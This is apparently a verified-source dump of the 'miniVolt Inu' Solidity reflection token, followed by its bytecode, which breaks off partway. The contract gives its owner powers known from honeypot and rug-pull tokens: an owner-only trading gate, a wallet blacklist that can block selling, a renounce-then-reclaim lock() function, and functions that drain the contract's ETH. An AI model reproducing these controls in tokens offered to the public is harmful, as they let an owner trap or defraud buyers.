ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract miniVoltInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 69000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "miniVolt Inu"; string private _symbol = "miniVOLT"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 12; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 990000000000000000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 690000000000000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function upliftTxAmount() external onlyOwner() { _maxTxAmount = 69000000000000000000000 * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(80).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102b25760003560e01c80635d098b3811610175578063a457c2d7116100dc578063d12a768811610095578063dd62ed3e1161006f578063dd62ed3e1461088e578063e8c4c43c146108d4578063ea2f0b37146108e9578063f2fde38b1461090957600080fd5b8063d12a768814610838578063d4a3883f1461084e578063dd4670641461086e57600080fd5b8063a457c2d714610799578063a6334231146107b9578063a69df4b5146107ce578063a9059cbb146107e3578063b6c5232414610803578063c49b9a801461081857600080fd5b8063764d72bf1161012e578063764d72bf146106d75780637d1db4a5146106f757806388f820201461070d5780638ba4cc3c146107465780638da5cb5b1461076657806395d89b411461078457600080fd5b80635d098b381461061357806360d48489146106335780636bc87c3a1461066c57806370a0823114610682578063715018a6146106a257806375f0a874146106b757600080fd5b80633685d419116102195780634549b039116101d25780634549b0391461053257806348c54b9d1461055257806349bd5a5e146105675780634a74bb021461059b57806352390c02146105ba5780635342acb4146105da57600080fd5b80633685d4191461047c578063395093511461049c5780633ae7dc20146104bc5780633b124fe7146104dc5780633bd5d173146104f2578063437823ec1461051257600080fd5b806323b872dd1161026b57806323b872dd146103bb57806329e04b4a146103db5780632a360631146103fb5780632d8381191461041b5780632f05205c1461043b578063313ce5671461045a57600080fd5b80630305caff146102be57806306fdde03146102e0578063095ea7b31461030b57806313114a9d1461033b5780631694505e1461035a57806318160ddd146103a657600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102de6102d9366004612b67565b610929565b005b3480156102ec57600080fd5b506102f561097d565b6040516103029190612b84565b60405180910390f35b34801561031757600080fd5b5061032b610326366004612bd9565b610a0f565b6040519015158152602001610302565b34801561034757600080fd5b50600d545b604051908152602001610302565b34801561036657600080fd5b5061038e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610302565b3480156103b257600080fd5b50600b5461034c565b3480156103c757600080fd5b5061032b6103d6366004612c05565b610a26565b3480156103e757600080fd5b506102de6103f6366004612c46565b610a8f565b34801561040757600080fd5b506102de610416366004612b67565b610b3d565b34801561042757600080fd5b5061034c610436366004612c46565b610b8b565b34801561044757600080fd5b50600a5461032b90610100900460ff1681565b34801561046657600080fd5b5060115460405160ff9091168152602001610302565b34801561048857600080fd5b506102de610497366004612b67565b610c0f565b3480156104a857600080fd5b5061032b6104b7366004612bd9565b610dc6565b3480156104c857600080fd5b506102de6104d7366004612c5f565b610dfc565b3480156104e857600080fd5b5061034c60125481565b3480156104fe57600080fd5b506102de61050d366004612c46565b610f2a565b34801561051e57600080fd5b506102de61052d366004612b67565b611014565b34801561053e57600080fd5b5061034c61054d366004612ca6565b611062565b34801561055e57600080fd5b506102de6110ef565b34801561057357600080fd5b5061038e7f000000000000000000000000d0877ad2fffa2d91c03d61c3c5ea28eaa6d6f07381565b3480156105a757600080fd5b5060165461032b90610100900460ff1681565b3480156105c657600080fd5b506102de6105d5366004612b67565b611155565b3480156105e657600080fd5b5061032b6105f5366004612b67565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561061f57600080fd5b506102de61062e366004612b67565b6112a8565b34801561063f57600080fd5b5061032b61064e366004612b67565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561067857600080fd5b5061034c60145481565b34801561068e57600080fd5b5061034c61069d366004612b67565b6112f4565b3480156106ae57600080fd5b506102de611353565b3480156106c357600080fd5b50600e5461038e906001600160a01b031681565b3480156106e357600080fd5b506102de6106f2366004612b67565b6113b5565b34801561070357600080fd5b5061034c60175481565b34801561071957600080fd5b5061032b610728366004612b67565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561075257600080fd5b506102de610761366004612bd9565b611414565b34801561077257600080fd5b506000546001600160a01b031661038e565b34801561079057600080fd5b506102f561146f565b3480156107a557600080fd5b5061032b6107b4366004612bd9565b61147e565b3480156107c557600080fd5b506102de6114cd565b3480156107da57600080fd5b506102de611508565b3480156107ef57600080fd5b5061032b6107fe366004612bd9565b61160e565b34801561080f57600080fd5b5060025461034c565b34801561082457600080fd5b506102de610833366004612ccb565b61161b565b34801561084457600080fd5b5061034c60185481565b34801561085a57600080fd5b506102de610869366004612d34565b611699565b34801561087a57600080fd5b506102de610889366004612c46565b61178c565b34801561089a57600080fd5b5061034c6108a9366004612c5f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156108e057600080fd5b506102de611811565b3480156108f557600080fd5b506102de610904366004612b67565b61184f565b34801561091557600080fd5b506102de610924366004612b67565b61189a565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161095390612da0565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6060600f805461098c90612dd5565b80601f01602080910402602001604051908101604052809291908181526020018280546109b890612dd5565b8015610a055780601f106109da57610100808354040283529160200191610a05565b820191906000526020600020905b8154815290600101906020018083116109e857829003601f168201915b5050505050905090565b6000610a1c338484611972565b5060015b92915050565b6000610a33848484611a96565b610a858433610a8085604051806060016040528060288152602001612fd0602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611d47565b611972565b5060019392505050565b6000546001600160a01b03163314610ab95760405162461bcd60e51b815260040161095390612da0565b63041cdb408111610b295760405162461bcd60e51b815260206004820152603460248201527f53776170205468726573686f6c6420416d6f756e742063616e6e6f74206265206044820152733632b9b9903a3430b7101b1c9026b4b63634b7b760611b6064820152608401610953565b610b3781633b9aca00612e26565b60185550565b6000546001600160a01b03163314610b675760405162461bcd60e51b815260040161095390612da0565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000600c54821115610bf25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610953565b6000610bfc611d81565b9050610c088382611da4565b9392505050565b6000546001600160a01b03163314610c395760405162461bcd60e51b815260040161095390612da0565b6001600160a01b03811660009081526007602052604090205460ff16610ca15760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610953565b60005b600854811015610dc257816001600160a01b031660088281548110610ccb57610ccb612e45565b6000918252602090912001546001600160a01b03161415610db05760088054610cf690600190612e5b565b81548110610d0657610d06612e45565b600091825260209091200154600880546001600160a01b039092169183908110610d3257610d32612e45565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610d8a57610d8a612e72565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610dba81612e88565b915050610ca4565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610a1c918590610a809086611de6565b6000546001600160a01b03163314610e265760405162461bcd60e51b815260040161095390612da0565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b158015610e6f57600080fd5b505afa158015610e83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea79190612ea3565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610eed57600080fd5b505af1158015610f01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f259190612ebc565b505050565b3360008181526007602052604090205460ff1615610f9f5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610953565b6000610faa83611e45565b505050506001600160a01b038416600090815260036020526040902054919250610fd691905082611e94565b6001600160a01b038316600090815260036020526040902055600c54610ffc9082611e94565b600c55600d5461100c9084611de6565b600d55505050565b6000546001600160a01b0316331461103e5760405162461bcd60e51b815260040161095390612da0565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b548311156110b65760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610953565b816110d55760006110c684611e45565b50939550610a20945050505050565b60006110e084611e45565b50929550610a20945050505050565b6000546001600160a01b031633146111195760405162461bcd60e51b815260040161095390612da0565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611152573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461117f5760405162461bcd60e51b815260040161095390612da0565b6001600160a01b03811660009081526007602052604090205460ff16156111e85760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610953565b6001600160a01b03811660009081526003602052604090205415611242576001600160a01b03811660009081526003602052604090205461122890610b8b565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b031633146112d25760405162461bcd60e51b815260040161095390612da0565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526007602052604081205460ff161561133157506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610a2090610b8b565b6000546001600160a01b0316331461137d5760405162461bcd60e51b815260040161095390612da0565b600080546040516001600160a01b0390911690600080516020612ff8833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146113df5760405162461bcd60e51b815260040161095390612da0565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610dc2573d6000803e3d6000fd5b6000546001600160a01b0316331461143e5760405162461bcd60e51b815260040161095390612da0565b611446611ed6565b61145e338361145984633b9aca00612e26565b611a96565b610dc2601354601255601554601455565b60606010805461098c90612dd5565b6000610a1c3384610a8085604051806060016040528060258152602001613018602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611d47565b6000546001600160a01b031633146114f75760405162461bcd60e51b815260040161095390612da0565b600a805461ff001916610100179055565b6001546001600160a01b0316331461156e5760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610953565b60025442116115bf5760405162461bcd60e51b